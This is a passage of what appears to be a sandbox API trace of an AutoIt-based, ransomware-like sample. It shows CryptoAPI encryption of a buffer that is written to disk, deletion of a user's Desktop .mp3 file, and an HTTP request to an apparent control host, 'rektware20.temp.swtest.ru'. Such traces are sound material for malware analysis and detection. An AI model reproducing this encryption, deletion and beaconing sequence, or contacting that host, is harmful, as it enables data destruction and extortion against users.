lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0080.721] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.721] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0080.721] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.721] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.721] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.721] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0080.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0080.722] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0080.722] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0080.722] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.722] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0080.722] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.722] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.722] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0080.722] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.723] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0080.723] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.723] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.723] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.724] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0080.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0080.724] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0080.724] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xe564, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xe570) returned 1 [0080.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.724] CharLowerBuffW (in: lpsz="byte[58737]", cchLength=0xb | out: lpsz="byte[58737]") returned 0xb [0080.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.726] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.726] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.726] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0080.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0080.726] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0080.726] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180bb70*, pdwDataLen=0x130e618*=0xe564, dwBufLen=0xe570 | out: pbData=0x180bb70*, pdwDataLen=0x130e618*=0xe570) returned 1 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.727] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0080.727] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.727] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0080.727] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.727] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.727] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.732] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.732] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.732] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.733] WriteFile (in: hFile=0x3c8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xe570, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xe570, lpOverlapped=0x0) returned 1 [0080.735] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.735] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.735] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0080.735] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0080.735] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.735] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0080.735] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16211f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0080.735] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0080.737] CryptDestroyKey (hKey=0x164c630) returned 1 [0080.737] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0080.737] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0080.738] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0080.738] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0080.738] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0080.738] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0080.738] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.738] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.738] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0080.738] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.738] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0080.738] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.738] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.738] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.739] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0080.739] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.739] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0080.739] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0080.739] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0080.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0080.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0080.739] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0080.739] CryptReleaseContext (hProv=0x1631d48, dwFlags=0x0) returned 1 [0080.739] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.739] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0080.739] FreeLibrary (hLibModule=0x74c60000) returned 1 [0080.740] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.740] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.740] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.740] CloseHandle (hObject=0x3d8) returned 1 [0080.740] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.740] CloseHandle (hObject=0x3c8) returned 1 [0080.781] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.782] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0080.782] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", lpFilePart=0x0) returned 0x38 [0080.782] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qgtigk8gaa0dq7hch.mp3")) returned 0x20 [0080.782] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0080.783] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qgtigk8gaa0dq7hch.mp3")) returned 1 [0080.898] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0080.899] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0080.903] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0080.903] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.903] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.903] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.903] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0080.904] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0080.906] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.906] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0080.906] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0080.906] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0080.906] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0080.906] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0080.906] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0080.906] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0080.907] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0080.908] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0080.908] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, 